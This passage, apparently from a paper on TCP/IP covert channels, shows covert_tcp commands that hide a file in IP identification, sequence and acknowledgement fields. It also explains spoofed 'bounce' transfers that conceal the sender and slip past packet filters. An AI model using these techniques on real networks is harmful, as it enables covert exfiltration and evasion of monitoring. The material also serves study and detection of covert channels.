**V. Method One: Manipulation of the IP Identification Field**

1) Send a file (secret.pgp) via IP Identification field encoding from client\_IP to server\_IP:

Client sender:

covert\_tcp -source client\_IP -dest server\_IP -file secret.pgp

Server receiver:

covert\_tcp -source client\_IP -server -file secret.pgp

The IP Identification field is the default encode/decode method, so no command switch is necessary. The above sends from a random originating port to a destination port of 80. These are also default values. The server will listen for anything from the client\_IP address and write it to disk.

**VI. Method Two: Initial Sequence Number Field**

2) Send a file (secret.pgp) via TCP sequence number field encoding appearing to be from port 20 on client\_IP destined for port 20 on server\_IP:

Client sender:

covert\_tcp -source client\_IP -dest server\_IP -source\_port 20 -dest\_port 20 -seq -file secret.pgp

Server receiver:

covert\_tcp -source\_port 20 -server -seq -file secret.pgp

You do not need to include the IP address of the inbound traffic if you do not want. Any traffic destined to port 20 from any site will be written to disk in this case.

**VII. Method Three: The TCP Acknowledge Sequence Number Field "Bounce"**

3) Send a file (secret.pgp) via TCP sequence number field encoding to be bounced of server bounce\_IP and have the packet read by the destination server at server\_IP.

Client sender:

covert\_tcp -source server\_IP -source\_port 1234 -dest bounce\_IP -seq -file secret.pgp

Server receiver:

covert\_tcp -source\_port 1234 -server -ack -file secret.pgp

The source packet will appear to have come from server\_IP and port 1234. The return packet will go to server\_IP port 1234 and will be decoded by the passive server listening for any source IP talking to local port 1234.

**VII. Method Three: The TCP Acknowledge Sequence Number Field "Bounce"**

This method relies upon basic spoofing of IP addresses to enable a sending machine to "bounce" a packet of information off of a remote site and have that site return the packet to the real destination address. This has the benefit of concealing the sender of the packet as it appears to come from the "bounce" host. This method could be used to set up an anonymous one-way communication network that would be difficult to detect especially if the bounce server is very busy.

This method relies on the characteristic of TCP/IP where the destination server responds to an initial connect request (SYN packet) with a SYN/ACK packet containing the original initial sequence number plus one (ISN+1). In this method, the sender constructs a packet that contains the following information:

- Forged SOURCE IP address.

- Forged SOURCE port.

- Forged DESTINATION IP address.

- Forged DESTINATION port.

- TCP SYN number with encoded data.

The source and destination ports chosen do not matter (except if you want to conceal the traffic as a well known service such as HTTP and/or you are having the receiving server listening for data on a pre-determined port, in which case you will want to forge the source port as well). The DESTINATION IP address should be the server you wish to BOUNCE information off of and the SOURCE IP should be the address of the server you wish to communicate WITH.

The packet is sent from the client's computer system and routed to the forged destination IP address in the header ("bounce server"). The bounce server receives the packet and sends either a SYN/ACK or a SYN/RST depending on the state of the port the packet was destined for on the bounce server. The return packet is sent to the forged source address with the ISN number plus one. The listening destination server takes this incoming packet and decodes the information by transforming the returned sequence number minus one back into the ASCII equivalent. It should be noted that the low order bits are dropped in the translation process of covert\_tcp because of the method used to "encode" and

"decode" information, so the program does not need to adjust for the incremented SYN packet number.

A step-by-step representation of the bounce method:

- Sending Client: A

- Bounce Server: B

- Receiving Server: C

Step One: Client A sends a forged packet with encoded information to bounce server B. This packet has the address of receiving server C.

Step Two: Bounce server B receives the packet and returns an appropriate SYN/ACK or SYN/RST packet based on the status of the port. Since bounce server B thinks the packet came from receiving server C, the packet is sent to address of receiving server C. The acknowledgment sequence number (which is

the encoded sequence number plus one) is sent to server C as well.

Step Three: Server C, expecting to receive a packet from the bounce server B (or a pre-determined port) decodes the data and writes it out to disk.

This method is essentially tricking the remote server into sending the packet and encapsulated data back to the forged source IP address, which it rightfully thinks is legitimate. From the receiving end, the packet appears to originate from the bounced server, and indeed it does. As a side note, if the receiving system is behind a packet filter that only allows communication to certain sites, this method can be used to bounce packets off of the trusted sites which will then relay them to the system behind the packet filter with a legitimate source address. This could be vital in communicating with receiving servers in heavily protected or scrutinized networks.

Bouncing a packet off of a well known Internet site (.mil, .gov, .com, etc.) is also a useful technique for concealing operations in ordinary traffic. Be sure the bounce site is not using round-robin DNS (stable IP address) or if it is, that the receiving server is passively listening on a pre-determined port to decode the

transmissions from multiple sites (i.e. send out a forged source address and source port of 1234 so the bounce server returns the packet to the listening server on port 1234). Using this technique, the sending client can bounce packets off of hundreds of Internet hosts while the receiving server listens and writes out any data destined for the pre-defined port number regardless of IP address.

If your network site has a correctly configured router, it may not allow a forged packet with a network number that is not from it’s network to traverse outbound. Alas, many routers are not configured with this protection in mind and will happily pass the data so you can generally expect this technique to work.